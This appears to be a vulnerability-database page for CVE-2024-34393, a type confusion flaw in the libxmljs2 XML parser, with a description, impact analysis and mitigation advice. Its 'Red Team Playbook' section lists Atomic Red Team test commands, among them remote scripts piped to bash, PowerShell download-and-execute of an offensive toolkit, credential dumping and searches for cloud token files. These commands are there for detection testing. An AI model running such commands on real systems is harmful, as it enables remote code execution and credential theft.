CVE-2024-34393
Overview
This vulnerability is a type confusion flaw within the libxmljs2 library, specifically triggered during XML parsing. The root cause lies in improper handling of the attrs() function's return value on a parsed XML node, leading to unsafe type assumptions. The affected component is the XML attribute processing mechanism in libxmljs2's XML parser implementation.
Vulnerability Description
libxmljs2 is vulnerable to a type confusion vulnerability when parsing a specially crafted XML while invoking a function on the result of attrs() that was called on a parsed node. This vulnerability might lead to denial of service (on both 32-bit systems and 64-bit systems), data leak, infinite loop and remote code execution (on 32-bit systems with the XML_PARSE_HUGE flag enabled).
Impact
An unauthenticated remote attacker can exploit this vulnerability by sending crafted XML data to an application using libxmljs2, requiring network access but no user interaction. Successful exploitation may result in denial of service, data leakage, infinite loops, or remote code execution on 32-bit systems with XML_PARSE_HUGE enabled. The CVSS vector (AV:N/AC:H/PR:N/UI:N) indicates network attack with high complexity but no privileges or user interaction required, leading to high confidentiality, integrity, and availability impacts.
Solution
Users should upgrade libxmljs2 to the fixed version addressing this issue as detailed in the JFrog advisory JFSA-2024-001034097 and the GitHub issue #204. The advisory provides patch details and instructions for mitigation. No specific workarounds are documented; therefore, applying the official patch is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in libxmljs2 arises from a type confusion issue that occurs during the parsing of specially crafted XML documents. This flaw manifests when the attrs() function is invoked on a parsed node. The underlying problem is rooted in the improper handling of data types, which can lead to unexpected behavior during execution. Specifically, when the library processes an XML document that has been deliberately manipulated, it can result in a scenario where the application misinterprets the data type of an object. This type confusion can lead to various adverse outcomes, including denial of service, data leakage, and in certain configurations, remote code execution.
Attack vectors exploiting this vulnerability can be varied and sophisticated. An attacker could craft a malicious XML document designed to trigger the type confusion when processed by an application utilizing libxmljs2. For instance, by sending this malicious XML as part of a web request to a server that parses XML input, the attacker can manipulate the application's behavior. In scenarios where the XML_PARSE_HUGE flag is enabled, the risk escalates significantly, as it allows for the parsing of extremely large XML documents. This can lead to infinite loops or crashes, effectively rendering the application inoperable. Furthermore, if the attacker successfully exploits the vulnerability on a 32-bit system, they may gain the ability to execute arbitrary code, which poses a severe risk to the integrity and confidentiality of the system.
The real-world impact of this vulnerability can be substantial, particularly for organizations that rely heavily on XML processing within their applications. The potential for denial of service means that critical services could become unavailable, leading to operational disruptions and financial losses. Additionally, the risk of data leakage could expose sensitive information, resulting in compliance violations and reputational damage. For businesses that handle customer data or proprietary information, the consequences of a successful exploit could be catastrophic, leading to legal ramifications and loss of customer trust. The ability for an attacker to execute arbitrary code further amplifies the threat, as it could lead to full system compromise, data exfiltration, or lateral movement within a network.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First, regular security assessments and code reviews should be conducted to identify instances where libxmljs2 is used, particularly in applications that process untrusted XML input. Employing static and dynamic analysis tools can help identify potential vulnerabilities in the codebase. Additionally, organizations should establish strict input validation and sanitization practices to ensure that only well-formed and expected XML documents are processed. Implementing security controls such as Web Application Firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests before they reach the application.
Moreover, keeping software dependencies up to date is crucial in mitigating the risks associated with known vulnerabilities. Organizations should monitor for security patches and updates related to libxmljs2 and apply them promptly. In environments where the XML_PARSE_HUGE flag is not essential, it is advisable to disable this option to reduce the attack surface. Lastly, developing an incident response plan that includes procedures for addressing potential exploitation attempts can help organizations respond swiftly and effectively to any security incidents that may arise from this vulnerability. By adopting these strategies, organizations can significantly reduce their exposure to the threats posed by this type confusion vulnerability in libxmljs2.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-34393 |
| research.jfrog.com |
GitHub CVE
|
https://research.jfrog.com/vulnerabilities/libxmljs2-attrs-type-confusion-rce-jfsa-2024-001034097/ |
| github.com |
GitHub CVE
|
https://github.com/marudor/libxmljs2/issues/204 |